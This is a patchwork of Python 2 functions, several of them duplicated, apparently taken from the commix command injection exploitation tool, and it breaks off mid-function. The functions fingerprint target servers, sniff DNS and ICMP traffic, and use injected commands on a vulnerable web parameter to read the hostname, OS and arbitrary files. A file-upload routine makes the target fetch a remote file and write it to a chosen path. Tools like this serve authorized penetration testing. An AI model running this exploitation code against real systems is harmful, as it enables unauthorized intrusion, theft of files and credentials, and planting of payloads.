def authentication_process(): auth_url = menu.options.auth_url auth_data = menu.options.auth_data cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) request = opener.open(urllib2.Request(auth_url)) cookies = "" for cookie in cj: cookie_values = cookie.name + "=" + cookie.value + "; " cookies += cookie_values if len(cookies) != 0 : menu.options.cookie = cookies.rstrip() if settings.VERBOSITY_LEVEL >= 1: success_msg = "The received cookie is " success_msg += menu.options.cookie + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) urllib2.install_opener(opener) request = urllib2.Request(auth_url, auth_data) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) return response
def application_identification(server_banner, url): found_application_extension = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target application ... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() root, application_extension = splitext(urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" success_msg = "The target application was identified as " success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." print settings.print_critical_msg(err_msg) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify target application." print settings.print_warning_msg(warn_msg)
def process_json_data(): while True: success_msg = "JSON data found in POST data." if not menu.options.batch: question_msg = success_msg question_msg += " Do you want to process it? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) json_process = sys.stdin.readline().replace("\n","").lower() else: if settings.VERBOSITY_LEVEL >= 1: print settings.print_success_msg(success_msg) json_process = "" if len(json_process) == 0: json_process = "y" if json_process in settings.CHOICE_YES: settings.IS_JSON = True break elif json_process in settings.CHOICE_NO: break elif json_process in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + json_process + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def server_identification(server_banner): found_server_banner = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target server... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() for i in range(0,len(settings.SERVER_BANNERS)): match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) if match: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if settings.VERBOSITY_LEVEL >= 1: success_msg = "The target server was identified as " success_msg += server_banner + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) settings.SERVER_BANNER = match.group(0) found_server_banner = True # Set up default root paths if "apache" in settings.SERVER_BANNER.lower(): if settings.TARGET_OS == "win": settings.WEB_ROOT = "\\htdocs" else: settings.WEB_ROOT = "/var/www" elif "nginx" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "/usr/share/nginx" elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "\\inetpub\\wwwroot" break else: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "The server which was identified as '" warn_msg += server_banner + "' seems unknown." print settings.print_warning_msg(warn_msg)
def snif(dns_server): success_msg = "Started the sniffer between you" + Style.BRIGHT success_msg += " and the DNS server " + Fore.YELLOW + dns_server success_msg += Style.RESET_ALL + Style.BRIGHT + "." print settings.print_success_msg(success_msg) while True: sniff(filter="port 53", prn=querysniff, store = 0)
def snif(ip_dst, ip_src): success_msg = "Started the sniffer between " + Fore.YELLOW + ip_src success_msg += Style.RESET_ALL + Style.BRIGHT + " and " + Fore.YELLOW success_msg += ip_dst + Style.RESET_ALL + Style.BRIGHT + "." print settings.print_success_msg(success_msg) while True: sniff(filter = "icmp and src " + ip_dst, prn=packet_handler, timeout=settings.DELAY)
def encoding_detection(response): if not menu.options.encoding: charset_detected = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifing the indicated web-page charset... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Detecting charset charset = response.headers.getparam('charset') if len(charset) != 0 : charset_detected = True else: content = re.findall(r";charset=(.*)\"", html_data) if len(content) != 0 : charset = content charset_detected = True else: # Check if HTML5 format charset = re.findall(r"charset=['\"](.*?)['\"]", html_data) if len(charset) != 0 : charset_detected = True # Check the identifyied charset if charset_detected : settings.DEFAULT_ENCODING = charset if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" settings.ENCODING = charset.lower() if settings.ENCODING.lower() not in settings.ENCODING_LIST: warn_msg = "The indicated web-page charset " + settings.ENCODING + " seems unknown." print settings.print_warning_msg(warn_msg) else: if settings.VERBOSITY_LEVEL >= 1: success_msg = "The indicated web-page charset appears to be " success_msg += settings.ENCODING + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) else: pass except: pass if charset_detected == False and settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" else: settings.ENCODING = menu.options.encoding if settings.ENCODING.lower() not in settings.ENCODING_LIST: err_msg = "The user-defined charset '" + settings.ENCODING + "' seems unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." print settings.print_critical_msg(err_msg) raise SystemExit()
def notification(url, technique): try: if settings.LOAD_SESSION == True: success_msg = "A previously stored session has been held against that host." print settings.print_success_msg(success_msg) while True: question_msg = "Do you want to resume to the " question_msg += technique.rsplit(" ", 2)[0] question_msg += " injection point? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.LOAD_SESSION = sys.stdin.readline().replace("\n", "").lower() if settings.LOAD_SESSION in settings.CHOICE_YES: return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False if technique[:1] != "c": while True: question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n", "").lower() if proceed_option.lower() in settings.CHOICE_PROCEED: if proceed_option.lower() == "a": settings.RETEST = True break elif proceed_option.lower() == "c": settings.RETEST = False break elif proceed_option.lower() == "n": raise SystemExit() else: pass else: if proceed_option.lower() == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if settings.SESSION_APPLIED_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: if settings.LOAD_SESSION == "": settings.LOAD_SESSION = "enter" err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg)
def uninstaller(): info_msg = "Starting the uninstaller... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" sys.exit(0) sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() success_msg = "The un-installation of commix has finished!" print settings.print_success_msg(success_msg)
def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: # if settings.VERBOSITY_LEVEL >= 1: # print "" success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print settings.print_warning_msg(warn_msg)
def file_read(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if settings.VERBOSITY_LEVEL >= 1: print "" if shell: success_msg = "The contents of file '" success_msg += file_to_read + "'" + Style.RESET_ALL + ": " sys.stdout.write(settings.print_success_msg(success_msg)) print shell output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output if shell: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" success_msg = "The hostname is " + shell sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print settings.print_warning_msg(warn_msg)
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) ps_version = output try: if float(ps_version): settings.PS_ENABLED = True ps_version = "".join(str(p) for p in output) if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" # Output PowerShell's version number success_msg = "The PowerShell's version number is " success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The PowerShell's version number is " + ps_version + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." print "\n" + settings.print_warning_msg(warn_msg) settings.PS_ENABLED = False
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") #Command execution results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" ps_version = output try: if float(ps_version): settings.PS_ENABLED = True ps_version = "".join(str(p) for p in output) if settings.VERBOSITY_LEVEL >= 1: print "" # Output PowerShell's version number success_msg = "The PowerShell's version number is " success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The PowerShell's version number is " + ps_version + ".\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify PowerShell's version, " warn_msg += "which means that some payloads or injection techniques may be failed." print "\n" + settings.print_warning_msg(warn_msg) settings.PS_ENABLED = False
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") #Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. ps_version = cb_injector.injection_results(response, TAG, cmd) ps_version = "".join(str(p) for p in ps_version) session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) try: if float(ps_version): settings.PS_ENABLED = True if settings.VERBOSITY_LEVEL >= 1: print "" # Output PowerShell's version number success_msg = "The PowerShell's version number is " success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The PowerShell's version number is " + ps_version + ".\n" output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify PowerShell's version, " warn_msg += "which means that some payloads or injection techniques may be failed." print settings.print_warning_msg(warn_msg) settings.PS_ENABLED = False checks.ps_check_failed()
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: shell = "".join(str(p) for p in shell) success_msg = "The hostname is " + shell sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print settings.print_warning_msg(warn_msg)
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if menu.options.verbose: print "" if shell: success_msg = "The contents of file '" + Style.UNDERLINE success_msg += file_to_read + Style.RESET_ALL + "' : " sys.stdout.write(settings.print_success_msg(success_msg)) print shell output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def is_JSON_check(parameter): try: json_object = json.loads(parameter) if re.search(settings.JSON_RECOGNITION_REGEX, parameter): if settings.VERBOSITY_LEVEL >= 1 and not settings.IS_JSON: success_msg = Style.BRIGHT + "JSON data" success_msg += Style.RESET_ALL + Style.BRIGHT success_msg += " found in POST data" success_msg += Style.RESET_ALL + "." print settings.print_success_msg(success_msg) except ValueError, err_msg: if not "No JSON object could be decoded" in err_msg: err_msg = "JSON " + str(err_msg) + ". " print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) return False
def user_agent_header(): # Check if defined "--random-agent" option. if menu.options.random_agent: if (menu.options.agent != settings.DEFAULT_USER_AGENT) or menu.options.mobile: err_msg = "The option '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." print settings.print_critical_msg(err_msg) raise SystemExit() else: info_msg = "Fetching random HTTP User-Agent header... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: menu.options.agent = random.choice(settings.USER_AGENT_LIST) print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" success_msg = "The fetched random HTTP User-Agent header is '" + menu.options.agent + "'." print settings.print_success_msg(success_msg) except: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_os = output if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" if target_os: if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: sys.stdout.write("") check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: sys.stdout.write("\n") # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output if target_arch: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print settings.print_warning_msg(warn_msg)
def charset_detection(response): charset_detected = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifing the indicated web-page charset... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Detecting charset charset = response.headers.getparam('charset') if len(charset) != 0 : charset_detected = True else: content = re.findall(r";charset=(.*)\"", html_data) if len(content) != 0 : charset = content charset_detected = True else: # Check if HTML5 format charset = re.findall(r"charset=['\"](.*?)['\"]", html_data) if len(charset) != 0 : charset_detected = True # Check the identifyied charset if charset_detected : if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" settings.CHARSET = charset.lower() if settings.CHARSET.lower() not in settings.CHARSET_LIST: warn_msg = "The indicated web-page charset " + settings.CHARSET + " seems unknown." print settings.print_warning_msg(warn_msg) else: if settings.VERBOSITY_LEVEL >= 1: success_msg = "The indicated web-page charset appears to be " success_msg += settings.CHARSET + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) else: pass except: pass if charset_detected == False and settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" #eof
def third_party_dependencies(): info_msg = "Checking for third-party (non-core) libraries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: import sqlite3 except ImportError: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " err_msg += "in order to store previous injection points and commands. " print settings.print_critical_msg(err_msg) sys.exit(0) try: import readline except ImportError: if settings.IS_WINDOWS: try: import pyreadline except ImportError: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = settings.APPLICATION + " requires 'pyreadline' third-party library " err_msg += "in order to be able to take advantage of the TAB " err_msg += "completion and history support features. " print settings.print_critical_msg(err_msg) sys.exit(0) else: try: import gnureadline except ImportError: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = settings.APPLICATION + " requires 'gnureadline' third-party library " err_msg += "in order to be able to take advantage of the TAB " err_msg += "completion and history support features. " print settings.print_critical_msg(err_msg) pass print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" success_msg = "All required third-party (non-core) libraries are seems to be installed." print settings.print_success_msg(success_msg)
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: urllib2.urlopen(file_to_upload) except urllib2.HTTPError, err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" print "" check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass # if settings.VERBOSITY_LEVEL >= 1: # print "" if shell: success_msg = "The '" + Style.UNDERLINE + shell + Style.RESET_ALL success_msg += Style.BRIGHT + "' file was uploaded successfully!" sys.stdout.write("\n" + settings.print_success_msg(success_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to " warn_msg += "write the '" + dest_to_upload + "' file." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
def authentication_process(): auth_url = menu.options.auth_url auth_data = menu.options.auth_data cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) request = opener.open(urllib2.Request(auth_url)) cookies = "" for cookie in cj: cookie_values = cookie.name + "=" + cookie.value + "; " cookies += cookie_values if len(cookies) != 0 : menu.options.cookie = cookies.rstrip() if menu.options.verbose: success_msg = "The received cookie is " + Style.UNDERLINE success_msg += menu.options.cookie + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) urllib2.install_opener(opener) request = urllib2.Request(auth_url, auth_data) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err_msg: if settings.IGNORE_ERR_MSG == False: print "\n" + settings.print_error_msg(err_msg) continue_tests = checks.continue_tests(err) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() response = False
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: urllib2.urlopen(file_to_upload) except urllib2.HTTPError, err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")" sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) 